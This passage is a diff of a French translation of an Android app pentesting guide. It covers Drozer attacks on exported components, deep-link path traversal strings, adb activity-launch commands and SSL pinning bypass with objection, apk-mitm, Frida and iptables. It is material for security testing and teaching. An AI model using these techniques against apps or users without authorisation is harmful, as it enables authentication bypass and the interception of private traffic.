[**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK +- Il est recommandé d'**obfusquer l'APK** pour rendre plus difficile le travail de reverse engineering pour les attaquants. +- Si l'app est sensible (comme des apps bancaires), elle devrait effectuer ses **propres vérifications pour détecter si le mobile est rooted** et agir en conséquence. +- Si l'app est sensible (comme des apps bancaires), elle devrait vérifier si un **emulator** est utilisé. +- Si l'app est sensible (comme des apps bancaires), elle devrait **vérifier son intégrité avant exécution** pour détecter si elle a été modifiée. +- Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compiler/packer/obfuscator a été utilisé pour construire l'APK -### React Native Application +### Application React Native -Read the following page to learn how to easily access javascript code of React applications: +Lisez la page suivante pour apprendre comment accéder facilement au code javascript des applications React : {{#ref}} react-native-application.md {{#endref}} -### Xamarin Applications +### Applications Xamarin -Read the following page to learn how to easily access C# code of a xamarin applications: +Lisez la page suivante pour apprendre comment accéder facilement au code C# d'une application xamarin : {{#ref}} ../xamarin-apps.md {{#endref}} -### Superpacked Applications +### Applications Superpacked -According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** +Selon ce [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked est un algorithme Meta qui compresse le contenu d'une application en un seul fichier. Le blog parle de la possibilité de créer une app qui décompresse ce type d'apps... et d'une méthode plus rapide qui consiste à **exécuter l'application et récupérer les fichiers décompressés depuis le filesystem.** -### Automated Static Code Analysis +### Analyse statique automatisée du code -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. +L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnerabilities** en **scannant** le **code** de l'application. Cet outil contient une série de **known sources** (qui indiquent à l'outil les **endroits** où l'**input** est **contrôlé par l'utilisateur**), **sinks** (qui indiquent à l'outil les **endroits** **dangereux** où un input malveillant pourrait causer des dommages) et des **rules**. Ces rules indiquent la **combinaison** de **sources-sinks** qui signale une vulnérabilité. -With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. +Avec ces informations, **mariana-trench analysera le code et trouvera d'éventuelles vulnérabilités**. ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Une application peut contenir des secrets (API keys, passwords, hidden urls, subdomains...) en son sein que vous pourriez découvrir. Vous pouvez utiliser un outil tel que [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) -### Bypass Biometric Authentication +### Contourner l'authentification biométrique {{#ref}} bypass-biometric-authentication-android.md {{#endref}} -### Other interesting functions +### Autres fonctions intéressantes - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- **Native functions** déclarées comme `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **Other tricks** +### **Autres astuces** {{#ref}} @@ -236,23 +236,23 @@ content-protocol.md ## Analyse dynamique -> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (Burp CA cert, Drozer and Frida mainly). Par conséquent, un appareil rooté (émulé ou non) est fortement recommandé. +> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (certificat Burp CA, Drozer et Frida principalement). Par conséquent, un appareil rooted (émulé ou non) est fortement recommandé. ### Analyse dynamique en ligne -Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme permet d'**uploader** et d'**exécuter** des APKs, donc elle est utile pour voir le comportement d'un apk. +Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme permet de **uploader** et **exécuter** des APKs, elle est donc utile pour voir comment un APK se comporte. Vous pouvez même **voir les logs de votre application** sur le web et vous connecter via **adb**. ![](<../../images/image (831).png>) -Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'intérieur des émulateurs. +Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'intérieur des emulators. ### Analyse dynamique locale -#### Utiliser un émulateur +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des devices **x86** et **arm**, et d'après [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des devices **x86** et **arm**, et selon [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**les dernières versions x86** prennent en charge les **ARM libraries** sans avoir besoin d'un emulator ARM lent). - Apprenez à le configurer sur cette page : @@ -260,19 +260,19 @@ Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'int avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Personal Edition, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC**_ _**VirtualBox** pour éviter des erreurs potentielles._) - [**Nox**](https://es.bignox.com) (Gratuit, mais il ne supporte pas Frida ou Drozer). > [!TIP] -> Lors de la création d'un nouvel émulateur sur n'importe quelle plateforme, souvenez-vous que plus l'écran est grand, plus l'émulateur sera lent. Donc, sélectionnez des écrans petits si possible. +> Lors de la création d'un nouvel emulator sur n'importe quelle plateforme, souvenez-vous que plus l'écran est grand, plus l'emulator sera lent. Préférez donc des écrans petits si possible. -Pour **installer google services** (comme AppStore) dans Genymotion, vous devez cliquer sur le bouton marqué en rouge de l'image suivante : +Pour **installer google services** (comme AppStore) dans Genymotion vous devez cliquer sur le bouton marqué en rouge de l'image suivante : ![](<../../images/image (277).png>) -De plus, notez que dans la **configuration de la VM Android dans Genymotion** vous pouvez sélectionner le **Bridge Network mode** (cela sera utile si vous vous connectez à la VM Android depuis une VM différente avec les outils). +Aussi, notez que dans la **configuration de la Android VM dans Genymotion** vous pouvez sélectionner le **Bridge Network mode** (cela sera utile si vous vous connectez à la Android VM depuis une autre VM contenant les outils). -#### Utiliser un appareil physique +#### Utilisation d'un appareil physique Vous devez activer les options de **debugging** et il est préférable de pouvoir le **rooter** : @@ -282,59 +282,59 @@ Vous devez activer les options de **debugging** et il est préférable de pouvoi 4. Press **Build number** 7 times. 5. Go back and you will find the **Developer options**. -> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer, d'investiguer ce qu'elle fait, comment elle fonctionne et de vous familiariser avec elle.\ -> Je suggère d'**effectuer cette analyse dynamique initiale en utilisant MobSF dynamic analysis + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez consulter ultérieurement. +> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'étudier ce qu'elle fait, comment elle fonctionne et vous familiariser avec elle.\ +> Je suggère d'**effectuer cette analyse dynamique initiale en utilisant MobSF dynamic analysis + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez revoir plus tard. -### Fuite de données non intentionnelle +### Fuites de données non intentionnelles **Logging** -Les développeurs doivent être prudents quant à l'exposition d'informations de **debugging** publiquement, car cela peut entraîner des leaks de données sensibles. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les logs des applications afin d'identifier et de protéger les informations sensibles. **Pidcat** est privilégié pour sa facilité d'utilisation et sa lisibilité. +Les développeurs doivent se méfier d'exposer des **debugging information** publiquement, car cela peut conduire à des données sensibles leaks. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les logs de l'application afin d'identifier et protéger les informations sensibles. **Pidcat** est préféré pour sa simplicité et sa lisibilité. > [!WARNING] -> Notez que depuis **later newer than Android 4.0**, **les applications ne peuvent accéder qu'à leurs propres logs**. Ainsi, les applications ne peuvent pas accéder aux logs d'autres apps.\ +> Notez que depuis **les versions plus récentes qu'Android 4.0**, **les applications ne peuvent accéder qu'à leurs propres logs**. Ainsi, les applications ne peuvent pas accéder aux logs des autres apps.\ > Quoi qu'il en soit, il est toujours recommandé de **ne pas logger d'informations sensibles**. -**Mise en cache du presse-papiers (Copy/Paste Buffer Caching)** +**Copy/Paste Buffer Caching** -Le framework **clipboard-based** d'Android permet la fonctionnalité de copier-coller dans les apps, mais présente un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copy/paste** pour les sections sensibles d'une application, comme les détails de carte de crédit, afin de prévenir les leaks de données. +Le framework **clipboard-based** d'Android permet la fonctionnalité copier-coller dans les apps, mais présente un risque car **d'autres applications** peuvent **accéder** au clipboard, exposant potentiellement des données sensibles. Il est crucial de **désactiver copy/paste** pour les sections sensibles d'une application, comme les informations de carte bancaire, afin d'empêcher des data leaks. **Crash Logs** -Si une application **crashe** et **sauvegarde des logs**, ces logs peuvent aider des attaquants, particulièrement lorsque l'application ne peut pas être reverse-engineered. Pour atténuer ce risque, évitez de logger lors des crashs, et si des logs doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité. +Si une application **crashe** et **sauvegarde des logs**, ces logs peuvent aider des attaquants, particulièrement lorsque l'application ne peut pas être reverse-engineered. Pour atténuer ce risque, évitez de logger lors des crashes, et si les logs doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité. -En tant que pentester, **essayez de jeter un œil à ces logs**. +En tant que pentester, **essayez de jeter un coup d'œil à ces logs**. **Analytics Data Sent To 3rd Parties** -Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement **leak sensitive data** à cause d'une mauvaise implémentation par les développeurs. Pour identifier de potentielles fuites de données, il est conseillé d'**intercepter le trafic de l'application** et de vérifier si des informations sensibles sont envoyées à des services tiers. +Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement leak des données sensibles en raison d'une implémentation incorrecte par les développeurs. Pour identifier d'éventuels data leaks, il est conseillé d'intercepter le trafic de l'application et de vérifier si des informations sensibles sont envoyées à des services tiers. ### SQLite DBs -La plupart des applications utilisent des **bases de données SQLite internes** pour sauvegarder des informations. Pendant le pentest, jetez un **œil** aux **databases** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** sauvegardées car vous pourriez trouver des informations sensibles (ce qui constituerait une vulnérabilité).\ -Les bases de données devraient se trouver dans `/data/data/the.package.name/databases` comme `/data/data/com.mwr.example.sieve/databases` +La plupart des applications utilisent des bases de données SQLite internes pour sauvegarder des informations. Pendant le pentest, jetez un coup d'œil aux databases créées, aux noms des tables et des colonnes et à toutes les données sauvegardées car vous pourriez trouver des informations sensibles (ce qui constituerait une vulnérabilité).\ +Les databases devraient se trouver dans /data/data/the.package.name/databases comme /data/data/com.mwr.example.sieve/databases -Si la base de données enregistre des informations confidentielles et est **encrypted** mais que vous pouvez **trouver** le **password** à l'intérieur de l'application, c'est toujours une **vulnerability**. +Si la database sauvegarde des informations confidentielles et est **encryptée** mais que vous pouvez **trouver** le **mot de passe** à l'intérieur de l'application, c'est toujours une **vulnérabilité**. -Énumérez les tables avec `.tables` et énumérez les colonnes des tables avec `.schema ` +Énumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. +D'après les [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) : **Drozer** permet d'assumer le rôle d'une application Android et d'interagir avec d'autres apps. Il peut faire tout ce qu'une application installée peut faire, comme utiliser le mécanisme Inter-Process Communication (IPC) d'Android et interagir avec le système d'exploitation sous-jacent.\ +Drozer est un outil utile pour **exploiter les exported activities, exported services et Content Providers** comme vous l'apprendrez dans les sections suivantes. -### Exploiting exported Activities +### Exploitation des exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Also remember that the code of an activity starts in the **`onCreate`** method. +Souvenez-vous aussi que le code d'une activity commence dans la méthode **`onCreate`**. **Authorisation bypass** -When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** +Quand une Activity est exported vous pouvez invoquer son écran depuis une app externe. Donc, si une activity contenant des **sensitive information** est **exported** vous pourriez **bypass** les mécanismes d'**authentication** pour y accéder. -[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) +[**Apprenez comment exploiter les exported activities avec Drozer.**](drozer-tutorial/index.html#activities) -You can also start an exported activity from adb: +Vous pouvez aussi démarrer une activity exportée depuis adb : - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity @@ -346,45 +346,45 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity > [!TIP] > Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. -**Fuite d'informations sensibles** +**Sensitive information leakage** -Les Activities peuvent aussi renvoyer des résultats. Si vous parvenez à trouver une activity exportée et non protégée appelant la méthode **`setResult`** et **retournant des informations sensibles**, il y a une fuite d'informations sensibles. +**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. #### Tapjacking -Si tapjacking n'est pas empêché, vous pourriez abuser de l'activity exportée pour faire **effectuer à l'utilisateur des actions inattendues**. For more info about [**what is Tapjacking follow the link**](#tapjacking). +If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers sont essentiellement utilisés pour **partager des données**. Si une application possède des content providers disponibles, vous pourriez être capable d'**extraire des données sensibles** depuis ceux-ci. Il est également intéressant de tester d'éventuelles **SQL injections** et **Path Traversals** car elles pourraient être vulnérables. +Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Souvenez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`. +Remember that a the actions of a Service start in the method `onStartCommand`. -Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte des services vous devez **vérifier** le **code** pour comprendre ce qu'il fait et **tester** celui-ci **dynamiquement** pour extraire des infos confidentielles, bypass des mesures d'authentification...\ +As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Souvenez-vous que les actions d'un Broadcast Receiver commencent dans la méthode `onReceive`. +Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. -Un broadcast receiver attendra un type de message. Selon la façon dont le receiver traite le message, il pourrait être vulnérable.\ +A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Vous pouvez rechercher des deep links manuellement, en utilisant des outils comme MobSF ou des scripts comme [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Vous pouvez **ouvrir** un **scheme** déclaré en utilisant **adb** ou un **browser**: +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +You can **open** a declared **scheme** using **adb** or a **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Notez que vous pouvez **omettre le nom du package** et le mobile ouvrira automatiquement l'application appropriée pour ce lien._ +_Notez que vous pouvez **omettre le nom du package** et que l'appareil mobile lancera automatiquement l'application qui doit ouvrir ce lien._ ```html Click me @@ -393,56 +393,56 @@ _Notez que vous pouvez **omettre le nom du package** et le mobile ouvrira automa ``` **Code exécuté** -Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deeplink et cherchez la fonction **`onNewIntent`**. +Pour trouver le **code qui sera exécuté dans l'application**, allez dans l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Infos sensibles** +**Informations sensibles** -Chaque fois que vous trouvez un deep link, vérifiez qu'**il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **se faire passer pour le deep link et voler ces données !** +Chaque fois que vous trouvez un deep link, vérifiez que **il ne reçoit pas de données sensibles (comme des mots de passe) via les paramètres d'URL**, car toute autre application pourrait **usurper le deep link et voler ces données !** **Paramètres dans le chemin** -Vous **devez aussi vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme: `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme: `example://app/users?username=../../unwanted-endpoint%3fparam=value`. -Notez que si vous trouvez les endpoints corrects dans l'application vous pourriez provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les détails des utilisateurs sans CSRF token et que l'endpoint vuln utilisait la méthode adéquate) et toute autre vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Vous **devez également vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Notez que si vous trouvez les endpoints corrects dans l'application, vous pourriez provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les détails des utilisateurs sans token CSRF et que l'endpoint vulnérable utilisait la méthode appropriée) et toute autre vulnérabilité. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). -**Plus d'exemples** +**More examples** -Un [interesting bug bounty report](https://hackerone.com/reports/855618) intéressant sur les liens (_/.well-known/assetlinks.json_). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### Inspection de la couche transport et échecs de vérification -- **Certificates are not always inspected properly** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats self-signed ou, dans certains cas, repassent à des connexions HTTP. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques man-in-the-middle (MITM), permettant aux attaquants de décrypter les données. -- **Leakage of private information** est un risque lorsque les applications s'authentifient via des canaux sécurisés mais communiquent ensuite sur des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les session cookies ou les détails utilisateur, contre l'interception par des entités malveillantes. +- **Les certificats ne sont pas toujours correctement vérifiés** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats auto-signés ou, dans certains cas, reviennent à des connexions HTTP. +- **Les négociations lors du handshake SSL/TLS sont parfois faibles**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible à des attaques man-in-the-middle (MITM), permettant aux attaquants de déchiffrer les données. +- **Fuite d'informations privées** est un risque lorsque les applications authentifient via des canaux sécurisés mais communiquent ensuite via des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les informations utilisateur, contre l'interception par des acteurs malveillants. #### Vérification des certificats -Nous allons nous concentrer sur la **certificate verification**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. Ceci est crucial car des configurations TLS insecure et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats serveur et la remédiation des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets. +Nous nous concentrerons sur **certificate verification**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent présenter des risques importants. Pour des étapes détaillées sur la vérification des certificats serveur et la correction des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets. #### SSL Pinning -SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur contre une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. La mise en œuvre de SSL Pinning est fortement recommandée pour les applications traitant des informations sensibles. +SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur par rapport à une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. L'implémentation de SSL Pinning est fortement recommandée pour les applications manipulant des informations sensibles. #### Inspection du trafic Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat de l'outil proxy** (par ex., Burp). Sans l'installation de ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisé, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Les applications ciblant **API Level 24 and above** nécessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est cruciale pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Les applications ciblant **API Level 24 and above** nécessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est critique pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Si **Flutter** est utilisé, vous devez suivre les instructions sur [**this page**](flutter.md). En effet, ajouter simplement le certificat dans le store ne fonctionnera pas, car Flutter utilise sa propre liste de CAs valides. +Si **Flutter** est utilisé, vous devez suivre les instructions sur [**this page**](flutter.md). Ceci est dû au fait que l'ajout du certificat dans le store ne fonctionnera pas, car Flutter a sa propre liste de CA valides. #### Détection statique du SSL/TLS pinning -Avant d’essayer des contournements runtime, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier des hooks/patches et à vous concentrer sur les bons chemins de code. +Avant de tenter des contournements à l'exécution, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier les hooks/patches et à vous concentrer sur les bons code paths. -Outil : SSLPinDetect -- Outil open-source d'analyse statique qui décompile l'APK en Smali (via apktool) et scanne des patterns regex sélectionnés d'implémentations de SSL/TLS pinning. -- Signale le chemin de fichier exact, le numéro de ligne et un extrait de code pour chaque correspondance. -- Couvre les frameworks courants et les chemins de code personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +Tool: SSLPinDetect +- Utilitaire open-source d'analyse statique qui décompile l'APK en Smali (via apktool) et scanne des patterns regex sélectionnés d'implémentations de SSL/TLS pinning. +- Rapporte le chemin de fichier exact, le numéro de ligne et un extrait de code pour chaque correspondance. +- Couvre les frameworks courants et les code paths personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et Network Security Config XML pins. Installation -- Pré-requis : Python >= 3.8, Java on PATH, apktool +- Prérequis : Python >= 3.8, Java dans le PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Exemples de règles de pattern (JSON) -Utilisez ou étendez des signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et analyser à grande échelle. +Exemple de règles de motifs (JSON) +Utilisez ou étendez les signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et scanner à grande échelle. ```json { "OkHttp Certificate Pinning": [ @@ -471,55 +471,55 @@ Utilisez ou étendez des signatures pour détecter des styles de pinning propri ] } ``` -Notes et conseils -- Scan rapide des grandes apps via multi-threading et I/O mappée en mémoire ; les regex précompilées réduisent l'overhead / les faux positifs. -- Pattern collection: https://github.com/aancw/smali-sslpin-patterns +Notes et astuces +- Analyse rapide des grosses apps via multi-threading et memory-mapped I/O ; des regex pré-compilées réduisent l'overhead/les faux positifs. +- Collection de patterns: https://github.com/aancw/smali-sslpin-patterns - Cibles typiques à trier ensuite : -- OkHttp: usage de CertificatePinner, setCertificatePinner, références de package okhttp3/okhttp -- TrustManagers personnalisés: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted -- Contexts SSL personnalisés: SSLContext.getInstance + SSLContext.init avec des managers personnalisés -- Pins déclaratifs dans res/xml network security config et références dans le manifest -- Utilisez les emplacements trouvés pour planifier des hooks Frida, des patchs statiques ou des revues de config avant les tests dynamiques. +- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Utilisez les emplacements trouvés pour planifier des Frida hooks, des patchs statiques, ou des revues de config avant les tests dynamiques. -#### Contournement de SSL Pinning +#### Contourner SSL Pinning -Quand SSL Pinning est implémenté, le contourner devient nécessaire pour inspecter le trafic HTTPS. Plusieurs méthodes existent pour cela : +Quand SSL Pinning est implémenté, le contourner devient nécessaire pour inspecter le trafic HTTPS. Différentes méthodes sont disponibles pour cela : -- Modifier automatiquement l'**apk** pour **bypasser** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypasser le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et ça ne marche pas toujours. -- Vous pouvez utiliser **Frida** (discuté ci‑dessous) pour bypasser cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)** :** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliqué ci‑dessous) -- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lire ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Modifiez automatiquement l'**apk** pour **contourner** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour contourner le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours. +- Vous pouvez utiliser **Frida** (décrit ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Vous pouvez aussi essayer de **contourner automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Vous pouvez aussi essayer de **contourner automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliqué ci-dessous) +- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Recherche de vulnérabilités Web courantes +#### 